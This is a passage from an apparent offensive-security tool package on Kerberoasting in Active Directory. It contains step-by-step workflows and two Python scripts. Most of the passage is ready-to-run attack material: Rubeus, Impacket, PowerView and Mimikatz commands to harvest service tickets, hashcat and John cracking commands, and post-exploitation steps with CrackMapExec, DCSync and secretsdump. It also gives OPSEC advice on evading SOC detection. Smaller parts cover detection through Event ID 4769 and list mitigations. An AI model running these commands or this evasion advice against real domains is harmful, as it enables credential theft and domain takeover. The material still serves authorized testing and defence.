Performing Kerberoasting Attack Overview Kerberoasting is a post-exploitation technique that targets service accounts in Active Directory by requesting Kerberos TGS (Ticket Granting Service) tickets for accounts with Service Principal Names (SPNs) set. These tickets are encrypted with the service account's NTLM hash, allowing offline brute-force cracking without generating failed login events. It is one of the most common privilege escalation paths in AD environments because any domain user can request TGS tickets. MITRE ATT&CK Mapping - T1558.003 - Steal or Forge Kerberos Tickets: Kerberoast…

\n filter:\n ServiceName: 'krbtgt'\n condition: selection and not filter\n```\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":2698,"content_sha256":"c0f7fb4de26d882e933357579854337165fa5cb7f5164b326c59ea76f1716012"},{"filename":"references/workflows.md","content":"# Kerberoasting Attack Workflows\n\n## Workflow 1: Kerberoasting with Rubeus (Windows)\n\n### Step 1: Enumerate Kerberoastable Accounts\n```powershell\n# List all Kerberoastable users\n.\\Rubeus.exe kerberoast /stats\n\n# Full Kerberoasting - request all SPN tickets\n.\\Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt\n\n# Target specific user\n.\\Rubeus.exe kerberoast /user:svc_sql /outfile:svc_sql_hash.txt\n\n# Request RC4 encrypted tickets specifically\n.\\Rubeus.exe kerberoast /rc4opsec /outfile:rc4_hashes.txt\n\n# Request AES tickets\n.\\Rubeus.exe kerberoast /aes /outfile:aes_hashes.txt\n\n# Kerberoast from a different domain\n.\\Rubeus.exe kerberoast /domain:child.targetdomain.local /outfile:child_hashes.txt\n```\n\n### Step 2: Targeted Kerberoasting (set SPN on account with GenericWrite)\n```powershell\n# If you have GenericWrite/GenericAll on an account, set an SPN\nSet-DomainObject -Identity targetuser -Set @{serviceprincipalname='nonexistent/SERVICE'}\n\n# Request TGS for the newly set SPN\n.\\Rubeus.exe kerberoast /user:targetuser /outfile:targeted_hash.txt\n\n# Clean up - remove the SPN\nSet-DomainObject -Identity targetuser -Clear serviceprincipalname\n```\n\n## Workflow 2: Kerberoasting with Impacket (Linux)\n\n### Step 1: Remote Kerberoasting\n```bash\n# Basic Kerberoasting with password\nimpacket-GetUserSPNs targetdomain.local/user:Password123 -dc-ip 10.0.0.1 -request -outputfile kerberoast.txt\n\n# With NTLM hash (pass-the-hash)\nimpacket-GetUserSPNs targetdomain.local/user -hashes :aad3b435b51404eeaad3b435b51404ee:NTHASH -dc-ip 10.0.0.1 -request\n\n# Target specific user\nimpacket-GetUserSPNs targetdomain.local/user:Password123 -dc-ip 10.0.0.1 -request -outputfile kerberoast.txt -target-domain targetdomain.local\n\n# Enumerate without requesting tickets\nimpacket-GetUserSPNs targetdomain.local/user:Password123 -dc-ip 10.0.0.1\n```\n\n## Workflow 3: Kerberoasting with PowerView (PowerShell)\n\n```powershell\n# Import PowerView\nImport-Module .\\PowerView.ps1\n\n# Find all users with SPNs\nGet-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname, admincount\n\n# Get detailed SPN information\nGet-DomainUser -SPN -Properties samaccountname,serviceprincipalname,pwdlastset,lastlogon,admincount\n\n# Request TGS tickets using built-in cmdlet\nAdd-Type -AssemblyName System.IdentityModel\nNew-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList \"MSSQLSvc/sqlserver.targetdomain.local:1433\"\n\n# Export ticket from memory using Mimikatz\nInvoke-Mimikatz -Command '\"kerberos::list /export\"'\n```\n\n## Workflow 4: Offline Password Cracking\n\n### Hashcat\n```bash\n# RC4 encrypted tickets (etype 23) - Hashcat mode 13100\nhashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt --rules-file /usr/share/hashcat/rules/best64.rule\n\n# AES-128 tickets (etype 17) - Hashcat mode 19700\nhashcat -m 19700 aes_hashes.txt /usr/share/wordlists/rockyou.txt\n\n# AES-256 tickets (etype 18) - Hashcat mode 19800\nhashcat -m 19800 aes_hashes.txt /usr/share/wordlists/rockyou.txt\n\n# Using custom rules for corporate passwords\nhashcat -m 13100 kerberoast.txt wordlist.txt -r corporate.rule\n\n# Brute force with mask (e.g., Summer2024!)\nhashcat -m 13100 kerberoast.txt -a 3 '?u?l?l?l?l?l?d?d?d?d?s'\n\n# Combined dictionary + rules\nhashcat -m 13100 kerberoast.txt wordlist.txt -r /usr/share/hashcat/rules/d3ad0ne.rule -r /usr/share/hashcat/rules/toggles1.rule\n```\n\n### John the Ripper\n```bash\n# Crack Kerberoast hashes\njohn --format=krb5tgs kerberoast.txt --wordlist=/usr/share/wordlists/rockyou.txt\n\n# With rules\njohn --format=krb5tgs kerberoast.txt --wordlist=wordlist.txt --rules=KoreLogicRulesAppend4Num\n```\n\n## Workflow 5: Post-Exploitation\n\n### Credential Validation\n```bash\n# Validate cracked credentials with CrackMapExec\ncrackmapexec smb 10.0.0.0/24 -u svc_sql -p 'CrackedPassword123!'\n\n# Check if account has admin rights anywhere\ncrackmapexec smb 10.0.0.0/24 -u svc_sql -p 'CrackedPassword123!' --shares\n\n# Check DCSync rights\ncrackmapexec smb 10.0.0.1 -u svc_sql -p 'CrackedPassword123!' -M dcsync\n\n# Use credentials for further enumeration\nimpacket-secretsdump targetdomain.local/svc_sql:'CrackedPassword123!'@10.0.0.1\n```\n\n## OPSEC Considerations\n\n1. Request tickets for only a few accounts at a time to avoid detection\n2. Prefer AES tickets over RC4 - RC4 requests may trigger alerts\n3. Use /rc4opsec flag in Rubeus to avoid requesting RC4 for AES-enabled accounts\n4. Spread requests over time rather than requesting all at once\n5. Target accounts with older password change dates (more likely weak)\n6. Monitor for honeypot SPNs that may alert the SOC\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":4560,"content_sha256":"d116a949b766d8c024547c5e5b275f7b52bf82a184ec37887549835761820a83"},{"filename":"scripts/agent.py","content":"#!/usr/bin/env python3\n\"\"\"Agent for performing Kerberoasting attack simulation and detection — authorized testing only.\"\"\"\n\nimport json\nimport argparse\nimport subprocess\nimport re\nfrom datetime import datetime\nfrom pathlib import Path\n\n\ndef enumerate_spn_accounts(domain=None):\n \"\"\"Enumerate service principal name (SPN) accounts via LDAP query.\"\"\"\n cmd = [\"ldapsearch\", \"-x\", \"-H\", f\"ldap://{domain}\" if domain else \"ldap://localhost\",\n \"-b\", f\"dc={',dc='.join(domain.split('.'))}\" if domain else \"\",\n \"(&(objectClass=user)(servicePrincipalName=*))\",\n \"sAMAccountName\", \"servicePrincipalName\", \"memberOf\", \"pwdLastSet\"]\n try:\n result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)\n accounts = []\n current = {}\n for line in result.stdout.splitlines():\n if line.startswith(\"dn:\"):\n if current:\n accounts.append(current)\n current = {\"dn\": line[4:].strip()}\n elif line.startswith(\"sAMAccountName:\"):\n current[\"username\"] = line.split(\":\", 1)[1].strip()\n elif line.startswith(\"servicePrincipalName:\"):\n current.setdefault(\"spns\", []).append(line.split(\":\", 1)[1].strip())\n elif line.startswith(\"memberOf:\"):\n current.setdefault(\"groups\", []).append(line.split(\":\", 1)[1].strip())\n if current and current.get(\"username\"):\n accounts.append(current)\n high_value = [a for a in accounts if any(\"admin\" in g.lower() for g in a.get(\"groups\", []))]\n return {\n \"domain\": domain, \"total_spn_accounts\": len(accounts),\n \"high_value_targets\": len(high_value),\n \"accounts\": accounts[:30],\n }\n except FileNotFoundError:\n return _powershell_spn_enum(domain)\n except Exception as e:\n return {\"error\": str(e)}\n\n\ndef _powershell_spn_enum(domain):\n \"\"\"Fallback SPN enumeration via PowerShell Get-ADUser.\"\"\"\n cmd = [\"powershell\", \"-Command\",\n \"Get-ADUser -Filter {ServicePrincipalName -ne '$null'} -Properties ServicePrincipalName,MemberOf,PasswordLastSet | \"\n \"Select-Object SamAccountName,ServicePrincipalName,PasswordLastSet,@{N='Groups';E={$_.MemberOf}} | \"\n \"ConvertTo-Json -Depth 3\"]\n try:\n result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)\n data = json.loads(result.stdout)\n if isinstance(data, dict):\n data = [data]\n accounts = [{\"username\": a.get(\"SamAccountName\"), \"spns\": a.get(\"ServicePrincipalName\", []),\n \"password_last_set\": a.get(\"PasswordLastSet\"), \"groups\": a.get(\"Groups\", [])} for a in data]\n return {\"total_spn_accounts\": len(accounts), \"accounts\": accounts[:30]}\n except Exception as e:\n return {\"error\": f\"PowerShell fallback failed: {e}\"}\n\n\ndef request_tgs_tickets(domain, username=None):\n \"\"\"Request TGS tickets for Kerberoasting using Impacket GetUserSPNs.\"\"\"\n cmd = [\"python3\", \"-m\", \"impacket.examples.GetUserSPNs\",\n f\"{domain}/\", \"-request\", \"-outputfile\", \"/tmp/kerberoast_hashes.txt\"]\n if username:\n cmd += [\"-target-user\", username]\n try:\n result = subprocess.run(cmd, capture_output=True, text=True, timeout=60)\n hash_file = Path(\"/tmp/kerberoast_hashes.txt\")\n hashes = []\n if hash_file.exists():\n for line in hash_file.read_text().strip().splitlines():\n if line.startswith(\"$krb5tgs$\"):\n parts = line.split(\"$\")\n hashes.append({\"hash_type\": \"krb5tgs\", \"spn\": parts[3] if len(parts) > 3 else \"\",\n \"hash_preview\": line[:80] + \"...\"})\n return {\n \"domain\": domain, \"hashes_captured\": len(hashes),\n \"output\": result.stdout[:500], \"hashes\": hashes[:20],\n \"hash_file\": str(hash_file) if hashes else None,\n }\n except FileNotFoundError:\n return {\"error\": \"Impacket not installed — pip install impacket\"}\n except Exception as e:\n return {\"error\": str(e)}\n\n\ndef analyze_kerberoast_hashes(hash_file):\n \"\"\"Analyze captured Kerberoast hashes.\"\"\"\n content = Path(hash_file).read_text(encoding=\"utf-8\", errors=\"replace\")\n hashes = [line.strip() for line in content.splitlines() if line.strip().startswith(\"$krb5tgs$\")]\n enc_types = {\"23\": 0, \"17\": 0, \"18\": 0}\n spns = []\n for h in hashes:\n parts = h.split(\"$\")\n if len(parts) >= 4:\n etype = parts[2] if len(parts) > 2 else \"unknown\"\n enc_types[etype] = enc_types.get(etype, 0) + 1\n spns.append(parts[3] if len(parts) > 3 else \"unknown\")\n crackable_rc4 = enc_types.get(\"23\", 0)\n return {\n \"total_hashes\": len(hashes),\n \"encryption_types\": enc_types,\n \"rc4_crackable\": crackable_rc4,\n \"aes_hashes\": enc_types.get(\"17\", 0) + enc_types.get(\"18\", 0),\n \"spn_targets\": spns[:20],\n \"risk\": \"HIGH\" if crackable_rc4 > 0 else \"MEDIUM\",\n \"recommendation\": \"Disable RC4 (etype 23) and enforce AES encryption\" if crackable_rc4 > 0 else \"AES encryption in use — harder to crack\",\n }\n\n\ndef detect_kerberoasting(evtx_file=None):\n \"\"\"Detect Kerberoasting from Windows Security Event ID 4769.\"\"\"\n if evtx_file:\n try:\n import Evtx.Evtx as evtx\n import xml.etree.ElementTree as ET\n except ImportError:\n return {\"error\": \"python-evtx not installed — pip install python-evtx\"}\n suspicious = []\n with evtx.Evtx(evtx_file) as log:\n for record in log.records():\n xml = record.xml()\n root = ET.fromstring(xml)\n ns = {\"e\": \"http://schemas.microsoft.com/win/2004/08/events/event\"}\n event_id = root.find(\".//e:EventID\", ns)\n if event_id is not None and event_id.text == \"4769\":\n data = {d.get(\"Name\"): d.text for d in root.findall(\".//e:Data\", ns)}\n ticket_enc = data.get(\"TicketEncryptionType\", \"\")\n if ticket_enc == \"0x17\":\n suspicious.append({\n \"service\": data.get(\"ServiceName\"), \"client\": data.get(\"TargetUserName\"),\n \"ip\": data.get(\"IpAddress\"), \"encryption\": \"RC4 (0x17)\",\n })\n return {\"evtx_file\": evtx_file, \"suspicious_tgs_requests\": len(suspicious), \"events\": suspicious[:20]}\n cmd = [\"wevtutil\", \"qe\", \"Security\", \"/q:*[System[EventID=4769]]\", \"/f:text\", \"/c:100\"]\n try:\n result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)\n rc4_count = result.stdout.lower().count(\"0x17\")\n return {\"source\": \"live_event_log\", \"total_4769_events\": result.stdout.count(\"Event ID\"), \"rc4_ticket_requests\": rc4_count}\n except Exception as e:\n return {\"error\": str(e)}\n\n\ndef main():\n parser = argparse.ArgumentParser(description=\"Kerberoasting Attack Agent (Authorized Testing Only)\")\n sub = parser.add_subparsers(dest=\"command\")\n e = sub.add_parser(\"enum\", help=\"Enumerate SPN accounts\")\n e.add_argument(\"--domain\", required=True)\n r = sub.add_parser(\"roast\", help=\"Request TGS tickets\")\n r.add_argument(\"--domain\", required=True)\n r.add_argument(\"--user\", help=\"Target specific user\")\n a = sub.add_parser(\"analyze\", help=\"Analyze captured hashes\")\n a.add_argument(\"--file\", required=True)\n d = sub.add_parser(\"detect\", help=\"Detect Kerberoasting\")\n d.add_argument(\"--evtx\", help=\"EVTX file to analyze\")\n args = parser.parse_args()\n if args.command == \"enum\":\n result = enumerate_spn_accounts(args.domain)\n elif args.command == \"roast\":\n result = request_tgs_tickets(args.domain, args.user)\n elif args.command == \"analyze\":\n result = analyze_kerberoast_hashes(args.file)\n elif args.command == \"detect\":\n result = detect_kerberoasting(args.evtx)\n else:\n parser.print_help()\n return\n print(json.dumps(result, indent=2, default=str))\n\n\nif __name__ == \"__main__\":\n main()\n","content_type":"text/x-python; charset=utf-8","language":"python","size":8155,"content_sha256":"a84b5486b379b152bb7cbd5a4dfe5480cca4e66a7dc903d9efa246b29c5de30d"},{"filename":"scripts/process.py","content":"#!/usr/bin/env python3\n\"\"\"\nKerberoasting Attack Automation Tool\n\nAutomates Kerberoasting workflow including:\n- SPN enumeration via LDAP\n- TGS ticket request and extraction\n- Hash formatting for offline cracking\n- Cracking result analysis and reporting\n\nUsage:\n python process.py --domain targetdomain.local --dc-ip 10.0.0.1 --username user --password Pass123 --enumerate\n python process.py --domain targetdomain.local --dc-ip 10.0.0.1 --username user --password Pass123 --kerberoast\n python process.py --analyze-hashes kerberoast_hashes.txt --cracked cracked.txt --output report.md\n\nRequirements:\n pip install impacket ldap3 rich\n\"\"\"\n\nimport argparse\nimport json\nimport sys\nfrom datetime import datetime\nfrom pathlib import Path\n\ntry:\n from rich.console import Console\n from rich.table import Table\n from rich.panel import Panel\nexcept ImportError:\n print(\"[!] Missing dependencies. Install with: pip install rich\")\n sys.exit(1)\n\nconsole = Console()\n\n\ndef enumerate_spn_accounts(domain: str, dc_ip: str, username: str, password: str, use_hash: bool = False) -> list[dict]:\n \"\"\"Enumerate domain accounts with SPNs set via LDAP.\"\"\"\n accounts = []\n\n try:\n import ldap3\n from ldap3 import Server, Connection, SUBTREE, ALL\n\n # Build LDAP connection\n server = Server(dc_ip, get_info=ALL, use_ssl=False)\n\n # Build DN from domain\n domain_dn = \",\".join([f\"DC={part}\" for part in domain.split(\".\")])\n\n if use_hash:\n # NTLM authentication with hash\n conn = Connection(\n server,\n user=f\"{domain}\\\\{username}\",\n password=password,\n authentication=ldap3.NTLM,\n )\n else:\n conn = Connection(\n server,\n user=f\"{domain}\\\\{username}\",\n password=password,\n authentication=ldap3.NTLM,\n )\n\n if not conn.bind():\n console.print(f\"[red][-] LDAP bind failed: {conn.last_error}[/red]\")\n return accounts\n\n console.print(f\"[green][+] Connected to {dc_ip} as {domain}\\\\{username}[/green]\")\n\n # Search for user accounts with SPNs\n search_filter = \"(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*)(!(cn=krbtgt))(!(userAccountControl:1.2.840.113556.1.4.803:=2)))\"\n\n conn.search(\n search_base=domain_dn,\n search_filter=search_filter,\n search_scope=SUBTREE,\n attributes=[\n \"sAMAccountName\",\n \"servicePrincipalName\",\n \"memberOf\",\n \"adminCount\",\n \"pwdLastSet\",\n \"lastLogon\",\n \"description\",\n \"distinguishedName\",\n \"userAccountControl\",\n ],\n )\n\n for entry in conn.entries:\n account = {\n \"samaccountname\": str(entry.sAMAccountName) if hasattr(entry, \"sAMAccountName\") else \"\",\n \"spn\": [str(spn) for spn in entry.servicePrincipalName] if hasattr(entry, \"servicePrincipalName\") else [],\n \"memberof\": [str(g) for g in entry.memberOf] if hasattr(entry, \"memberOf\") else [],\n \"admincount\": str(entry.adminCount) if hasattr(entry, \"adminCount\") else \"0\",\n \"pwdlastset\": str(entry.pwdLastSet) if hasattr(entry, \"pwdLastSet\") else \"\",\n \"lastlogon\": str(entry.lastLogon) if hasattr(entry, \"lastLogon\") else \"\",\n \"description\": str(entry.description) if hasattr(entry, \"description\") else \"\",\n \"dn\": str(entry.distinguishedName) if hasattr(entry, \"distinguishedName\") else \"\",\n }\n accounts.append(account)\n\n conn.unbind()\n\n except ImportError:\n console.print(\"[yellow][!] ldap3 not installed. Install with: pip install ldap3[/yellow]\")\n console.print(\"[yellow][!] Falling back to demonstration mode...[/yellow]\")\n except Exception as e:\n console.print(f\"[red][-] LDAP enumeration failed: {e}[/red]\")\n\n return accounts\n\n\ndef request_tgs_tickets(domain: str, dc_ip: str, username: str, password: str, target_users: list[str] | None = None) -> str:\n \"\"\"Request TGS tickets for SPN accounts using Impacket.\"\"\"\n try:\n from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS\n from impacket.krb5 import constants\n from impacket.krb5.types import Principal, KerberosTime\n from impacket import version\n import impacket.krb5.asn1\n\n console.print(\"[yellow][*] Requesting TGS tickets via Impacket...[/yellow]\")\n console.print(f\"[yellow][*] Use impacket-GetUserSPNs for production usage:[/yellow]\")\n console.print(f\"[cyan]impacket-GetUserSPNs {domain}/{username}:'{password}' -dc-ip {dc_ip} -request -outputfile kerberoast.txt[/cyan]\")\n\n return f\"impacket-GetUserSPNs {domain}/{username}:'{password}' -dc-ip {dc_ip} -request -outputfile kerberoast.txt\"\n\n except ImportError:\n console.print(\"[yellow][!] Impacket not installed. Generating command for manual execution.[/yellow]\")\n\n commands = []\n # Generate Impacket command\n commands.append(f\"# Impacket GetUserSPNs (Linux)\")\n commands.append(f\"impacket-GetUserSPNs {domain}/{username}:'{password}' -dc-ip {dc_ip} -request -outputfile kerberoast.txt\")\n commands.append(\"\")\n\n # Generate Rubeus command\n commands.append(\"# Rubeus (Windows)\")\n commands.append(f\".\\\\Rubeus.exe kerberoast /domain:{domain} /dc:{dc_ip} /outfile:kerberoast.txt\")\n commands.append(\"\")\n\n # Generate PowerShell command\n commands.append(\"# PowerShell native\")\n commands.append(\"Add-Type -AssemblyName System.IdentityModel\")\n if target_users:\n for user in target_users:\n commands.append(f'# New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList \"{user}\"')\n\n return \"\\n\".join(commands)\n\n\ndef generate_hashcat_commands(hash_file: str) -> list[str]:\n \"\"\"Generate hashcat commands for cracking Kerberoast hashes.\"\"\"\n commands = [\n f\"# RC4 (etype 23) - Most common\",\n f\"hashcat -m 13100 {hash_file} /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule\",\n \"\",\n f\"# AES-128 (etype 17)\",\n f\"hashcat -m 19700 {hash_file} /usr/share/wordlists/rockyou.txt\",\n \"\",\n f\"# AES-256 (etype 18)\",\n f\"hashcat -m 19800 {hash_file} /usr/share/wordlists/rockyou.txt\",\n \"\",\n f\"# Mask attack for common patterns (Season+Year+Special)\",\n f\"hashcat -m 13100 {hash_file} -a 3 '?u?l?l?l?l?l?d?d?d?d?s'\",\n \"\",\n f\"# Combined wordlist + rules\",\n f\"hashcat -m 13100 {hash_file} wordlist.txt -r /usr/share/hashcat/rules/d3ad0ne.rule\",\n \"\",\n f\"# Show cracked passwords\",\n f\"hashcat -m 13100 {hash_file} --show\",\n ]\n return commands\n\n\ndef analyze_hash_file(hash_file: str) -> dict:\n \"\"\"Analyze Kerberoast hash file for statistics.\"\"\"\n stats = {\n \"total_hashes\": 0,\n \"rc4_hashes\": 0,\n \"aes128_hashes\": 0,\n \"aes256_hashes\": 0,\n \"accounts\": [],\n }\n\n try:\n with open(hash_file, \"r\") as f:\n for line in f:\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n\n stats[\"total_hashes\"] += 1\n\n # Parse hashcat format: $krb5tgs$23$*user$domain$spn*$hash\n if \"$krb5tgs$23$\" in line:\n stats[\"rc4_hashes\"] += 1\n elif \"$krb5tgs$17$\" in line:\n stats[\"aes128_hashes\"] += 1\n elif \"$krb5tgs$18$\" in line:\n stats[\"aes256_hashes\"] += 1\n\n # Extract account name\n parts = line.split(\"$\")\n for i, part in enumerate(parts):\n if part.startswith(\"*\"):\n account = part.strip(\"*\")\n stats[\"accounts\"].append(account)\n break\n\n except FileNotFoundError:\n console.print(f\"[red][-] Hash file not found: {hash_file}[/red]\")\n except Exception as e:\n console.print(f\"[red][-] Error analyzing hashes: {e}[/red]\")\n\n return stats\n\n\ndef generate_report(accounts: list[dict], hash_stats: dict | None, cracked: list[dict] | None, output_path: str):\n \"\"\"Generate Kerberoasting assessment report.\"\"\"\n report = f\"\"\"# Kerberoasting Assessment Report\n## Generated: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n\n---\n\n## 1. Executive Summary\n\nKerberoasting assessment identified **{len(accounts)}** domain accounts with Service Principal Names (SPNs) configured. These accounts are vulnerable to offline password cracking attacks that can be performed by any authenticated domain user.\n\n## 2. Enumerated SPN Accounts\n\n| Account | Admin Count | SPNs | Password Last Set | Description |\n|---------|-------------|------|-------------------|-------------|\n\"\"\"\n\n for acc in accounts:\n spns = \", \".join(acc.get(\"spn\", [])[:2])\n report += f\"| {acc['samaccountname']} | {acc.get('admincount', 'N/A')} | {spns} | {acc.get('pwdlastset', 'N/A')} | {acc.get('description', '')[:30]} |\\n\"\n\n if hash_stats:\n report += f\"\"\"\n## 3. Hash Analysis\n\n| Metric | Value |\n|--------|-------|\n| Total Hashes | {hash_stats['total_hashes']} |\n| RC4 (etype 23) | {hash_stats['rc4_hashes']} |\n| AES-128 (etype 17) | {hash_stats['aes128_hashes']} |\n| AES-256 (etype 18) | {hash_stats['aes256_hashes']} |\n\"\"\"\n\n if cracked:\n report += f\"\"\"\n## 4. Cracked Credentials\n\n| Account | Password Strength | Admin | Impact |\n|---------|-------------------|-------|--------|\n\"\"\"\n for c in cracked:\n report += f\"| {c.get('account', 'N/A')} | {c.get('strength', 'N/A')} | {c.get('admin', 'N/A')} | {c.get('impact', 'N/A')} |\\n\"\n\n report += \"\"\"\n## 5. Recommendations\n\n### Immediate Actions\n1. Change passwords for all Kerberoastable accounts to 25+ character random strings\n2. Convert service accounts to Group Managed Service Accounts (gMSA) where possible\n3. Remove unnecessary SPNs from user accounts\n\n### Long-Term Mitigations\n1. Enforce AES-only Kerberos encryption (disable RC4)\n2. Implement Fine-Grained Password Policies for service accounts\n3. Deploy honeypot SPN accounts with detection alerting\n4. Regular auditing of accounts with SPNs\n5. Monitor Event ID 4769 for anomalous TGS requests\n\n## 6. MITRE ATT&CK Mapping\n\n| Technique | ID | Status |\n|-----------|----|--------|\n| Kerberoasting | T1558.003 | Executed |\n| Account Discovery | T1087.002 | Executed |\n| Permission Groups Discovery | T1069.002 | Executed |\n\"\"\"\n\n out = Path(output_path)\n out.parent.mkdir(parents=True, exist_ok=True)\n with open(out, \"w\") as f:\n f.write(report)\n\n console.print(f\"[green][+] Report saved to: {output_path}[/green]\")\n\n\ndef main():\n parser = argparse.ArgumentParser(description=\"Kerberoasting Attack Automation Tool\")\n parser.add_argument(\"--domain\", help=\"Target domain\")\n parser.add_argument(\"--dc-ip\", help=\"Domain Controller IP\")\n parser.add_argument(\"--username\", help=\"Domain username\")\n parser.add_argument(\"--password\", help=\"Password or NTLM hash\")\n parser.add_argument(\"--enumerate\", action=\"store_true\", help=\"Enumerate SPN accounts\")\n parser.add_argument(\"--kerberoast\", action=\"store_true\", help=\"Request TGS tickets\")\n parser.add_argument(\"--analyze-hashes\", help=\"Path to hash file to analyze\")\n parser.add_argument(\"--cracked\", help=\"Path to cracked results file\")\n parser.add_argument(\"--output\", default=\"./kerberoast_report.md\", help=\"Output path\")\n parser.add_argument(\"--generate-commands\", action=\"store_true\", help=\"Generate hashcat commands\")\n\n args = parser.parse_args()\n accounts = []\n\n if args.enumerate:\n if not all([args.domain, args.dc_ip, args.username, args.password]):\n console.print(\"[red][-] --domain, --dc-ip, --username, --password required[/red]\")\n return\n\n console.print(f\"[yellow][*] Enumerating SPN accounts in {args.domain}...[/yellow]\")\n accounts = enumerate_spn_accounts(args.domain, args.dc_ip, args.username, args.password)\n\n if accounts:\n table = Table(title=f\"Kerberoastable Accounts in {args.domain}\")\n table.add_column(\"Account\", style=\"red bold\")\n table.add_column(\"Admin\", style=\"yellow\")\n table.add_column(\"SPNs\", style=\"cyan\")\n table.add_column(\"Pwd Last Set\", style=\"green\")\n\n for acc in accounts:\n table.add_row(\n acc[\"samaccountname\"],\n str(acc.get(\"admincount\", \"N/A\")),\n str(len(acc.get(\"spn\", []))),\n acc.get(\"pwdlastset\", \"N/A\")[:20],\n )\n console.print(table)\n else:\n console.print(\"[yellow][!] No Kerberoastable accounts found (or enumeration failed)[/yellow]\")\n\n if args.kerberoast:\n if not all([args.domain, args.dc_ip, args.username, args.password]):\n console.print(\"[red][-] --domain, --dc-ip, --username, --password required[/red]\")\n return\n\n commands = request_tgs_tickets(args.domain, args.dc_ip, args.username, args.password)\n console.print(Panel(commands, title=\"Kerberoasting Commands\"))\n\n if args.analyze_hashes:\n stats = analyze_hash_file(args.analyze_hashes)\n table = Table(title=\"Hash Analysis\")\n table.add_column(\"Metric\", style=\"cyan\")\n table.add_column(\"Value\", style=\"green\")\n table.add_row(\"Total Hashes\", str(stats[\"total_hashes\"]))\n table.add_row(\"RC4 (etype 23)\", str(stats[\"rc4_hashes\"]))\n table.add_row(\"AES-128 (etype 17)\", str(stats[\"aes128_hashes\"]))\n table.add_row(\"AES-256 (etype 18)\", str(stats[\"aes256_hashes\"]))\n console.print(table)\n\n if args.generate_commands:\n hash_file = args.analyze_hashes or \"kerberoast.txt\"\n commands = generate_hashcat_commands(hash_file)\n console.print(Panel(\"\\n\".join(commands), title=\"Hashcat Cracking Commands\"))\n\n # Generate report if we have data\n if accounts or args.analyze_hashes:\n hash_stats = analyze_hash_file(args.analyze_hashes) if args.analyze_hashes else None\n generate_report(accounts, hash_stats, None, args.output)\n\n\nif __name__ == \"__main__\":\n main()\n","content_type":"text/x-python; charset=utf-8","language":"python","size":14507,"content_sha256":"88a89463c0b80b96ace6a8b84fe3003b81f57a9eefde89a97cb3d2293ddddb2d"}],"content_json":{"type":"doc","content":[{"type":"heading","attrs":{"level":1},"content":[{"text":"Performing Kerberoasting Attack","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Overview","type":"text"}]},{"type":"paragraph","content":[{"text":"Kerberoasting is a post-exploitation technique that targets service accounts in Active Directory by requesting Kerberos TGS (Ticket Granting Service) tickets for accounts with Service Principal Names (SPNs) set. These tickets are encrypted with the service account's NTLM hash, allowing offline brute-force cracking without generating failed login events. It is one of the most common privilege escalation paths in AD environments because any domain user can request TGS tickets.","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"MITRE ATT&CK Mapping","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"T1558.003","type":"text","marks":[{"type":"strong"}]},{"text":" - Steal or Forge Kerberos Tickets: Kerberoasting","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"T1087.002","type":"text","marks":[{"type":"strong"}]},{"text":" - Account Discovery: Domain Account","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"T1069.002","type":"text","marks":[{"type":"strong"}]},{"text":" - Permission Groups Discovery: Domain Groups","type":"text"}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Implementation Steps","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Phase 1: SPN Enumeration","type":"text"}]},{"type":"ordered_list","attrs":{"order":1,"listStyle":"number"},"content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Enumerate accounts with SPNs using LDAP queries","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Filter for user accounts (not computer accounts)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Identify accounts with elevated privileges (adminCount=1)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Prioritize accounts with weak password policies","type":"text"}]}]}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Phase 2: TGS Ticket Request","type":"text"}]},{"type":"ordered_list","attrs":{"order":1,"listStyle":"number"},"content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Request TGS tickets for identified SPN accounts","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Extract ticket data in crackable format (hashcat/john compatible)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Ensure RC4 encryption is requested when possible (easier to crack)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Document all requested tickets","type":"text"}]}]}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Phase 3: Offline Cracking","type":"text"}]},{"type":"ordered_list","attrs":{"order":1,"listStyle":"number"},"content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Use hashcat mode 13100 (Kerberos 5 TGS-REP etype 23) for RC4 tickets","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Use hashcat mode 19700 (Kerberos 5 TGS-REP etype 17) for AES-128","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Use hashcat mode 19800 (Kerberos 5 TGS-REP etype 18) for AES-256","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Apply targeted wordlists and rules based on password policy","type":"text"}]}]}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Phase 4: Credential 